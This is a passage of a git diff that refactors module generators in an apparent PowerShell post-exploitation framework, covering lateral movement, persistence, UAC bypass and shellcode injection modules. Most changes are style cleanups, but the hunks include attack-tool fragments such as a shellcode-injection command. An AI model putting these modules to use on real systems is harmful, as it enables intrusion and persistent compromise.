values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + if "," in str(values): + quoted = '"' + str(values).replace(",", '","') + '"' + script_end += " -" + str(option) + " " + quoted else: - if "," in str(values): - quoted = '"' + str(values).replace(",", '","') + '"' - script_end += " -" + str(option) + " " + quoted - else: - script_end += " -" + str(option) + ' "' + str(values) + '"' + script_end += " -" + str(option) + ' "' + str(values) + '"' script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py index 4525b29a5..2d5fcf54a 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py @@ -20,10 +20,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # Only "Command" or "Listener" but not both diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py index af4c09268..3030015ed 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py @@ -19,10 +19,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # read in the common module source code diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py index 719a3562c..7ac2ad29a 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py @@ -21,10 +21,7 @@ def generate( proxy_creds = params["ProxyCreds"] command = params["Command"] result_file = params["ResultFile"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # read in the common module source code diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py index 7a657cb20..a4e6e9d9d 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py @@ -19,10 +19,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] script = """Invoke-Command """ diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py index 8473cf8f5..f6f3689d3 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py @@ -23,10 +23,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # Only "Command" or "Listener" but not both diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py index 6780248bb..f1c0d7125 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -37,10 +37,7 @@ def generate( command = params["Command"] username = params["UserName"] password = params["Password"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # read in the common module source code diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py index 8f5ab21b5..ec07ee275 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py @@ -49,13 +49,17 @@ def generate( ) for option, values in params.items(): - if option.lower() != "agent" and option.lower() != "credid": - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if ( + option.lower() != "agent" + and option.lower() != "credid" + and values + and values != "" + ): + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py index af4fbf3d3..2d474d6ff 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py @@ -19,10 +19,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] script = """$null = Invoke-WmiMethod -Path Win32_process -Name create""" diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py index e144cbd07..d2d06a016 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py @@ -21,10 +21,7 @@ def generate( binary = params["Binary"] target_binary = params["TargetBinary"] listener_name = params["Listener"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # storage options diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py index 16aa4db48..fab5aa9cd 100644 --- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py +++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py @@ -18,10 +18,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # generate the launcher code diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py index 1a725886e..45af86c00 100644 --- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py +++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py @@ -19,10 +19,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] if not main_menu.listenersv2.get_active_listener_by_name(listener_name): @@ -70,21 +67,25 @@ def generate( ) for option, values in params.items(): - if option.lower() in [ - "taskname", - "taskdescription", - "taskauthor", - "gponame", - "gpodisplayname", - "domain", - "domaincontroller", - ]: - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script += " -" + str(option) - else: - script += " -" + str(option) + " '" + str(values) + "'" + if ( + option.lower() + in [ + "taskname", + "taskdescription", + "taskauthor", + "gponame", + "gpodisplayname", + "domain", + "domaincontroller", + ] + and values + and values != "" + ): + if values.lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " '" + str(values) + "'" outputf = params.get("OutputFunction", "Out-String") script += ( diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.py b/empire/server/modules/powershell/management/mailraider/disable_security.py index 65a01a895..b4e7e78d2 100644 --- a/empire/server/modules/powershell/management/mailraider/disable_security.py +++ b/empire/server/modules/powershell/management/mailraider/disable_security.py @@ -34,16 +34,19 @@ def generate( for option, values in params.items(): if ( - option.lower() != "agent" - and option.lower() != "reset" - and option.lower() != "outputfunction" + ( + option.lower() != "agent" + and option.lower() != "reset" + and option.lower() != "outputfunction" + ) + and values + and values != "" ): - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) outputf = params.get("OutputFunction", "Out-String") script_end += ( diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py index 302e17996..d0b2bc89f 100644 --- a/empire/server/modules/powershell/management/psinject.py +++ b/empire/server/modules/powershell/management/psinject.py @@ -19,10 +19,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] if proc_id == "" and proc_name == "": diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py index 4510b2535..deeb78401 100644 --- a/empire/server/modules/powershell/management/reflective_inject.py +++ b/empire/server/modules/powershell/management/reflective_inject.py @@ -31,10 +31,7 @@ def rand_text_alphanumeric( proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] if proc_name == "": diff --git a/empire/server/modules/powershell/management/runas.py b/empire/server/modules/powershell/management/runas.py index 8987a3ce1..188291ad8 100644 --- a/empire/server/modules/powershell/management/runas.py +++ b/empire/server/modules/powershell/management/runas.py @@ -56,13 +56,17 @@ def generate( ) for option, values in params.items(): - if option.lower() != "agent" and option.lower() != "credid": - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " '" + str(values) + "'" + if ( + option.lower() != "agent" + and option.lower() != "credid" + and values + and values != "" + ): + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " '" + str(values) + "'" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py index 013323299..00054a63d 100644 --- a/empire/server/modules/powershell/management/shinject.py +++ b/empire/server/modules/powershell/management/shinject.py @@ -60,7 +60,7 @@ def generate( script_end = '\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String("{}")) -Force'.format( proc_id, encoded_sc ) - script_end += f"; shellcode injected into pid {str(proc_id)}" + script_end += f"; shellcode injected into pid {proc_id!s}" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py index 5f3100ed4..fbd0b84e5 100644 --- a/empire/server/modules/powershell/management/spawn.py +++ b/empire/server/modules/powershell/management/spawn.py @@ -20,10 +20,7 @@ def generate( sys_wow64 = params["SysWow64"] language = params["Language"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] if language == "powershell": diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py index 6e35aba5f..26781f040 100644 --- a/empire/server/modules/powershell/management/spawnas.py +++ b/empire/server/modules/powershell/management/spawnas.py @@ -1,7 +1,7 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -21,7 +21,7 @@ def generate( ) if err: - return handle_error_message(err) + raise ModuleValidationException(err) # if a credential ID is specified, try to parse cred_id = params["CredID"] @@ -30,7 +30,7 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid") if cred.domain != "": params["Domain"] = cred.domain diff --git a/empire/server/modules/powershell/persistence/elevated/registry.py b/empire/server/modules/powershell/persistence/elevated/registry.py index 96b10289b..3ad6ebef4 100644 --- a/empire/server/modules/powershell/persistence/elevated/registry.py +++ b/empire/server/modules/powershell/persistence/elevated/registry.py @@ -31,10 +31,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] status_msg = "" @@ -82,9 +79,8 @@ def generate( # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): - f = open(ext_file) - fileData = f.read() - f.close() + with open(ext_file) as f: + fileData = f.read() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.py b/empire/server/modules/powershell/persistence/elevated/schtasks.py index 38496f9da..6d621d9db 100644 --- a/empire/server/modules/powershell/persistence/elevated/schtasks.py +++ b/empire/server/modules/powershell/persistence/elevated/schtasks.py @@ -34,10 +34,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] status_msg = "" @@ -84,9 +81,8 @@ def generate( # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): - f = open(ext_file) - fileData = f.read() - f.close() + with open(ext_file) as f: + fileData = f.read() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.py b/empire/server/modules/powershell/persistence/elevated/wmi.py index eea041a0a..ff6007ecf 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi.py @@ -32,10 +32,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] status_msg = "" @@ -89,9 +86,8 @@ def generate( # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): - f = open(ext_file) - fileData = f.read() - f.close() + with open(ext_file) as f: + fileData = f.read() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py index 8b99aee8e..8eee2bf7e 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.py +++ b/empire/server/modules/powershell/persistence/misc/debugger.py @@ -22,10 +22,7 @@ def generate( reg_path = params["RegPath"] # staging options - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] status_msg = "" diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py index 377c823ec..3d46b2ca9 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py +++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py @@ -94,16 +94,19 @@ def generate( for option, values in params.items(): if ( - option.lower() != "agent" - and option.lower() != "listener" - and option.lower() != "outfile" + ( + option.lower() != "agent" + and option.lower() != "listener" + and option.lower() != "outfile" + ) + and values + and values != "" ): - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script += " -" + str(option) - else: - script += " -" + str(option) + " " + str(values) + if values.lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values) out_file = params["OutFile"] if out_file != "": diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py index a629a6702..a45c77316 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py @@ -72,16 +72,19 @@ def generate( for option, values in params.items(): if ( - option.lower() != "agent" - and option.lower() != "listener" - and option.lower() != "outfile" + ( + option.lower() != "agent" + and option.lower() != "listener" + and option.lower() != "outfile" + ) + and values + and values != "" ): - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script += " -" + str(option) - else: - script += " -" + str(option) + " " + str(values) + if values.lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values) out_file = params["OutFile"] if out_file != "": diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.py b/empire/server/modules/powershell/persistence/powerbreach/resolver.py index a8b470a27..cb7efa793 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/resolver.py +++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.py @@ -81,16 +81,19 @@ def generate( for option, values in params.items(): if ( - option.lower() != "agent" - and option.lower() != "listener" - and option.lower() != "outfile" + ( + option.lower() != "agent" + and option.lower() != "listener" + and option.lower() != "outfile" + ) + and values + and values != "" ): - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script += " -" + str(option) - else: - script += " -" + str(option) + " " + str(values) + if values.lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values) out_file = params["OutFile"] if out_file != "": diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py index 144c9efa6..ef0e1531a 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py @@ -28,10 +28,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] status_msg = "" diff --git a/empire/server/modules/powershell/persistence/userland/registry.py b/empire/server/modules/powershell/persistence/userland/registry.py index 08217b197..c2080457a 100644 --- a/empire/server/modules/powershell/persistence/userland/registry.py +++ b/empire/server/modules/powershell/persistence/userland/registry.py @@ -32,10 +32,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] status_msg = "" diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.py b/empire/server/modules/powershell/persistence/userland/schtasks.py index eee63c493..6f99ac632 100644 --- a/empire/server/modules/powershell/persistence/userland/schtasks.py +++ b/empire/server/modules/powershell/persistence/userland/schtasks.py @@ -33,10 +33,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] status_msg = "" diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py index 327686ea3..4eaeffde0 100644 --- a/empire/server/modules/powershell/privesc/ask.py +++ b/empire/server/modules/powershell/privesc/ask.py @@ -17,10 +17,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] if not main_menu.listenersv2.get_active_listener_by_name(listener_name): diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py index 15600a1b9..cbda43d97 100644 --- a/empire/server/modules/powershell/privesc/bypassuac.py +++ b/empire/server/modules/powershell/privesc/bypassuac.py @@ -17,10 +17,7 @@ def generate( proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] listener_name = params["Listener"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # read in the common module source code diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py index 9e414522f..e54453dc4 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_env.py +++ b/empire/server/modules/powershell/privesc/bypassuac_env.py @@ -18,10 +18,7 @@ def generate( proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] launcher_obfuscate_command = params["ObfuscateCommand"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" # read in the common module source code script, err = main_menu.modulesv2.get_module_source( diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py index 4c9c478fe..2e6f05756 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py +++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py @@ -17,10 +17,7 @@ def generate( listener_name = params["Listener"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # read in the common module source code diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py index ffd3c02a7..12593d244 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py @@ -18,10 +18,7 @@ def generate( proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] launcher_obfuscate_command = params["ObfuscateCommand"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" # read in the common module source code script, err = main_menu.modulesv2.get_module_source( diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py index 032c02b6a..f2ef1972d 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py +++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py @@ -17,10 +17,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # read in the common module source code diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py index 506d076c8..7b8922234 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py +++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py @@ -17,10 +17,7 @@ def generate( user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] # read in the common module source code diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py index 11438078a..6ab666931 100644 --- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py +++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py @@ -13,10 +13,7 @@ def generate( obfuscation_command: str = "", ): # staging options - if (params["Obfuscate"]).lower() == "true": - launcher_obfuscate = True - else: - launcher_obfuscate = False + launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] module_name = "Write-HijackDll" diff --git a/empire/server/modules/powershell/recon/find_fruit.py b/empire/server/modules/powershell/recon/find_fruit.py index e8e412aa6..13d101d11 100644 --- a/empire/server/modules/powershell/recon/find_fruit.py +++ b/empire/server/modules/powershell/recon/find_fruit.py @@ -28,16 +28,19 @@ def generate( for option, values in params.items(): if ( - option.lower() != "agent" - and option.lower() != "showall" - and option.lower() != "outputfunction" + ( + option.lower() != "agent" + and option.lower() != "showall" + and option.lower() != "outputfunction" + ) + and values + and values != "" ): - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) if show_all != "true": script_end += " | ?{$_.Status -eq 'OK'}" diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py index d374a879e..d9fa19863 100644 --- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py +++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py @@ -26,72 +26,78 @@ def generate( outputf = params.get("OutputFunction", "Out-String") for option, values in params.items(): - if option.lower() != "agent" and option.lower() != "outputfunction": - if values and values != "": - if option == "4624": - script_end += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4624 = Find-4624Logons $SecurityLog;" - script_end += 'Write-Output "Event ID 4624 (Logon):`n";' - script_end += "Write-Output $Filtered4624.Values" - script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script + if ( + option.lower() != "agent" + and option.lower() != "outputfunction" + and values + and values != "" + ): + if option == "4624": + script_end += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4624 = Find-4624Logons $SecurityLog;" + script_end += 'Write-Output "Event ID 4624 (Logon):`n";' + script_end += "Write-Output $Filtered4624.Values" + script_end += f" | {outputf}" + script = main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) + return script - if option == "4648": - script_end += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4648 = Find-4648Logons $SecurityLog;" - script_end += 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";' - script_end += "Write-Output $Filtered4648.Values" - script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script + if option == "4648": + script_end += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4648 = Find-4648Logons $SecurityLog;" + script_end += ( + 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";' + ) + script_end += "Write-Output $Filtered4648.Values" + script_end += f" | {outputf}" + script = main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) + return script - if option == "AppLocker": - script_end += "$AppLockerLogs = Find-AppLockerLogs;" - script_end += 'Write-Output "AppLocker Process Starts:`n";' - script_end += "Write-Output $AppLockerLogs.Values" - script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script + if option == "AppLocker": + script_end += "$AppLockerLogs = Find-AppLockerLogs;" + script_end += 'Write-Output "AppLocker Process Starts:`n";' + script_end += "Write-Output $AppLockerLogs.Values" + script_end += f" | {outputf}" + script = main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) + return script - if option == "PSLogs": - script_end += "$PSLogs = Find-PSScriptsInPSAppLog;" - script_end += 'Write-Output "PowerShell Script Executions:`n";' - script_end += "Write-Output $PSLogs.Values" - script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script + if option == "PSLogs": + script_end += "$PSLogs = Find-PSScriptsInPSAppLog;" + script_end += 'Write-Output "PowerShell Script Executions:`n";' + script_end += "Write-Output 